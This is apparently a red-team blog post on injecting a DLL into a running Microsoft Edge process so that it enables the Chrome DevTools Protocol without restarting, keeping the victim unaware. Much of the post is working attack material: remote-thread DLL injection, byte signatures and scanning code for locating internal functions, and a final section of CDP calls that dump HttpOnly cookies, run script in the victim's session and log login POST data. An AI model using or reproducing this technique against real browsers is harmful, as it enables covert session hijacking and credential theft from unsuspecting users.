2025-12-30

Injecting CDP into a Running Edge Browser: A Deep Dive into Runtime Browser Instrumentation

Red TeamBrowser SecurityDLL InjectionReverse EngineeringWinDbg

The Problem: Browsers Are Black Boxes

Browsers are information goldmines. Session tokens, saved passwords, autofill data, browsing history - it's all there. But extracting this data traditionally requires either:

  1. Reading Files from disk but this will only give us persistent stored information, and wont allow us to actively engage with user sessions.
  2. Starting a new browser with --remote-debugging-port but this is very noisy, victim will notice that their browser restarted, and they lose all their active sessions.

What if we could flip a switch inside a running browser and enable the Chrome DevTools Protocol (CDP)? CDP gives us a WebSocket API to:

  • Dump cookies (including HttpOnly ones)
  • Capture screenshots
  • Intercept network traffic
  • Execute JavaScript in any tab
  • Access the entire DOM

This is the premise behind this project: inject a DLL into a running Microsoft Edge process that enables CDP without restarting the browser.

The Target: StartRemoteDebuggingServer

Both Chrome and Edge (which is Chromium-based) have an internal function that spins up the CDP WebSocket server:

void DevToolsAgentHost::StartRemoteDebuggingServer(
    std::unique_ptr<DevToolsSocketFactory> delegate,
    const base::FilePath& output_directory,
    const base::FilePath& debug_frontend_dir
);

When you launch Edge with --remote-debugging-port=9222, this function gets called during startup. Our goal: call it ourselves from injected code.

Simple, right? Just resolve the symbol and call it. Except:

  • No exported function
  • Chrome uses custom allocators (PartitionAlloc)
  • Complex C++ types (unique_ptr, std::string, FilePath)
  • Must run on the correct thread

The Architecture

Here's how the injection works:

sequenceDiagram
    participant Injector as injector.exe
    participant Edge as msedge.exe
    participant DLL as cdp_inject.dll
    participant CDP as CDP Server

    Injector->>Edge: OpenProcess()
    Injector->>Edge: VirtualAllocEx() for DLL path
    Injector->>Edge: WriteProcessMemory()
    Injector->>Edge: CreateRemoteThread(LoadLibraryA)
    Edge->>DLL: DllMain(DLL_PROCESS_ATTACH)
    DLL->>DLL: Spawn worker thread
    DLL->>DLL: ResolveSymbols() via signatures
    DLL->>Edge: FindWindow("Chrome_WidgetWin_1")
    DLL->>Edge: SetWindowLongPtr() subclass
    DLL->>Edge: PostMessage(WM_START_CDP)
    Edge->>DLL: SubclassWndProc receives message
    DLL->>DLL: Allocate factory with Chrome's operator new
    DLL->>Edge: Call StartRemoteDebuggingServer()
    Edge->>CDP: TCP socket listening on 127.0.0.1:8181
    CDP-->>Injector: ws://127.0.0.1:8181 available

The main point here is that we can't call StartRemoteDebuggingServer from our injected thread. It must run on the UI thread because this is where DevToolsManager lives. We achieve this by subclassing Edge's main window and posting a custom message.

Phase 1: The PDB Approach (Getting It Working)

Before optimizing, we need a working proof-of-concept. Microsoft publishes PDB symbols for Edge, so we can use DbgHelp to resolve function addresses at runtime.

Symbol Resolution with DbgHelp

SymInitialize(proc, "srv*C:\\Symbols*https://msdl.microsoft.com/download/symbols", FALSE);
SymLoadModuleEx(proc, NULL, "msedge.dll", ...);

SYMBOL_INFO* sym = ...;
SymFromName(proc, "content::DevToolsAgentHost::StartRemoteDebuggingServer", sym);
g_start_server = (StartRemoteDebuggingServerFn)sym->Address;

This works, but has a massive problem: msedge.pdb is over 1GB. Downloading it on a target machine is impractical and leaves forensic artifacts.

Phase 2: WinDbg Deep Dive - Understanding the Structs

With symbols loaded, we can set breakpoints and examine memory. I started Edge with --remote-debugging-port=9222 and attached WinDbg to see what a "working" call looks like.

The Factory Struct

First discovery: The TCPServerSocketFactory struct

0:000> bp msedge!content::DevToolsAgentHost::StartRemoteDebuggingServer
0:000> g
Breakpoint 0 hit
0:000> dq poi(rcx) L8
0000587c`02a6d9e0  00007ffb`17093558 3f2659fd`24752406
0000587c`02a6d9f0  badbad00`badbad00 00000001`badbad00

That badbad00 is Chrome's memory poison pattern - it marks uninitialized memory. The factory is only 16 bytes:

+0x00: vtable pointer (8 bytes)
+0x08: port (2 bytes) + 6 bytes padding
+0x10: [uninitialized - beyond struct]

I initially assumed 40 bytes with an embedded IP address string because I was looking at a different struct. Hours of debugging later:

// WRONG - what I found in binary ninja
typedef struct {
    void*    vtable;        // 0x00
    uint8_t  address[24];   // 0x08 - std::string for IP
    uint16_t port;          // 0x20
    uint8_t  padding[6];    // 0x22
} TCPServerSocketFactory; // 40 bytes

// CORRECT - what I found with WinDbg
typedef struct {
    void*    vtable;        // 0x00
    uint16_t port;          // 0x08
    uint8_t  padding[6];    // 0x0A
} TCPServerSocketFactory; // 16 bytes

The IP address "127.0.0.1" is hardcoded inside CreateLocalHostServerSocket, not stored in the struct.

The FilePath Struct

Another gotcha: Chromium uses libc++, not MSVC's STL. The string layouts differ:

MSVC std::wstring:  32 bytes
libc++ std::wstring: 24 bytes  <- Chromium uses this!
typedef struct {
    uint8_t data[24];  // libc++ SSO string
} FilePath;

Memory Allocation Hell

My first working call... crashed on exit:

HEAP CORRUPTION DETECTED: Invalid address specified to RtlFreeHeap

Chrome replaces operator new with PartitionAlloc. If you allocate with HeapAlloc and Chrome frees it with PartitionAlloc's delete, boom.

Solution: resolve Chrome's operator new and use it:

typedef void* (*ChromeNewFn)(size_t size);
ChromeNewFn g_chrome_new;

// Later...
factory = (TCPServerSocketFactory*)g_chrome_new(sizeof(TCPServerSocketFactory));

Phase 3: The Port Exclusion Nightmare

After fixing everything above, the function returned successfully... but netstat showed nothing listening.

I traced into CreateLocalHostServerSocket:

0:016> p
msedge!...CreateLocalHostServerSocket+0x82:
00007ffb`0857bb92 85ed            test    ebp,ebp
00007ffb`0857bb94 jne ...         [br=1]  <- BRANCH TAKEN = ERROR!

The ListenWithAddressAndPort call was returning non-zero. I spent hours checking struct layouts until finally:

netsh interface ipv4 show excludedportrange protocol=tcp

Output:

Start Port    End Port
---------    --------
9181         10380
...

Windows (specifically Hyper-V/WSL) reserves port ranges 9181 to 10380. Port 9222 was excluded. A full day wasted because of this quirk. So I changed the target port and everything worked.

#define CDP_PORT 8181

Phase 4: Signature-Based Resolution (Removing PDB Dependency)

Downloading a 1GB PDB isn't practical for real world use. I wrote pe_signature_finder.py to extract minimum unique byte signatures from the PDB:

def find_minimum_unique_signature(self, rva: int) -> Tuple[bytes, int, int, str]:
    """Find the shortest byte sequence that uniquely identifies this function."""
    func_bytes = self.get_bytes_at_rva(rva, MAX_SIG_LENGTH)

    for length in range(MIN_SIG_LENGTH, MAX_SIG_LENGTH):
        pattern = func_bytes[:length]
        matches = self.find_pattern_in_section(pattern, section_name)
        if len(matches) == 1:
            return pattern, length, 1, section_name

Running it against msedge.dll:

$ python pe_signature_finder.py msedge.dll msedge.pdb "*StartRemoteDebuggingServer*"

Symbol: content::DevToolsAgentHost::StartRemoteDebuggingServer()
RVA: 0x02CED39A
Section: .text
Minimum Signature (26 bytes): 41 57 41 56 41 54 56 57 53 48 83 EC 48 4C 89 C3...

The DLL now scans msedge.dll's .text section for these byte patterns:

static const uint8_t SIG_START_SERVER[] = {
    0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57,
    0x53, 0x48, 0x83, 0xEC, 0x48, 0x4C, 0x89, 0xC3,
    0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x8B,
    0x05, 0x89
};

void* ScanForSignature(uint8_t* start, size_t size,
                       const uint8_t* sig, size_t sig_len) {
    for (const uint8_t* p = start; p <= end; p++) {
        if (memcmp(p, sig, sig_len) == 0)
            return (void*)p;
    }
    return NULL;
}

The Vtable Challenge

Finding functions is easy - they have unique prologues. But the vtable lives in .rdata and contains relocated pointers. The file bytes differ from memory bytes!

File (pre-relocation):  00 D6 2D 80 01 00 00 00
Memory (post-relocation): 00 D6 43 08 FB 7F 00 00

My solution: find the vtable by its contents, not by hardcoding signature bytes:

  1. Find vtable[0] (scalar deleting destructor) by code signature
  2. Find vtable[1] (CreateForHttpServer) by code signature
  3. Scan .rdata for consecutive pointers to these functions
// Find vtable entries by their code signatures
entry0_fn = ScanForSignature(text_start, text_size, SIG_VTABLE_ENTRY0, ...);
entry1_fn = ScanForSignature(text_start, text_size, SIG_VTABLE_ENTRY1, ...);

// Search .rdata for [ptr_to_entry0][ptr_to_entry1]
const uint64_t* p = (const uint64_t*)rdata_start;
while (p < end) {
    if (p[0] == (uint64_t)entry0_fn && p[1] == (uint64_t)entry1_fn) {
        vtable = (void*)p;
        break;
    }
    p++;
}

This is fully version-independent - no hardcoded offsets!

Wildcard Support for Relative Calls

One signature kept matching the wrong function. The issue: E8 xx xx xx xx is a relative call instruction. The offset changes based on where the function is located.

I added wildcard support:

static const uint8_t SIG_VTABLE_ENTRY0[] = {
    0x56, 0x48, 0x83, 0xEC, 0x20, ...
    0xE8, 0x00, 0x00, 0x00, 0x00,  // E8 = call, rest = wildcard
    0x48, 0x89, 0xF0, ...
};

static const uint8_t SIG_VTABLE_ENTRY0_MASK[] = {
    1, 1, 1, 1, 1, ...
    1, 0, 0, 0, 0,  // 1=must match, 0=wildcard
    1, 1, 1, ...
};

void* ScanForSignature(... const uint8_t* mask ...) {
    for (size_t i = 0; i < sig_len; i++) {
        if (mask == NULL || mask[i]) {
            if (p[i] != sig[i]) match = FALSE;
        }
        // else: wildcard, any byte matches
    }
}

The Final Flow

flowchart TD
    A[Injector:<br/>Find Edge PID] --> B[VirtualAllocEx +<br/>WriteProcessMemory]
    B --> C[CreateRemoteThread<br/>LoadLibraryA]
    C --> D[DLL:<br/>DllMain entry]
    D --> E[Spawn worker thread]
    E --> F{Scan .text<br/>for signatures}
    F --> G[Find vtable<br/>entries]
    F --> H[Found:<br/>operator new]
    F --> I[Found:<br/>GetInstance]
    F --> J[Found:<br/>StartRemoteDebuggingServer]
    G --> K[Scan .rdata<br/>for vtable]
    H --> L
    I --> L
    J --> L
    K --> L[Subclass<br/>browser window]
    L --> M[PostMessage<br/>WM_START_CDP]
    M --> N[UI Thread:<br/>Allocate factory]
    N --> O[Call<br/>StartRemoteDebuggingServer]
    O --> P[CDP listening on<br/>127.0.0.1:8181]

    style P fill:#7351bd

Red Team Applications

With CDP enabled on a compromised browser:

// Dump all cookies (including HttpOnly)
const cookies = await CDP.send('Network.getAllCookies');

// Screenshot any tab
await CDP.send('Page.captureScreenshot');

// Execute JS in victim's session
await CDP.send('Runtime.evaluate', { expression: 'document.cookie' });

// Intercept credentials in real-time
CDP.on('Network.requestWillBeSent', req => {
    if (req.request.url.includes('login')) {
        console.log(req.request.postData);
    }
});

Overall this was a fun project, and it gave me a lot of insights about chromium internals.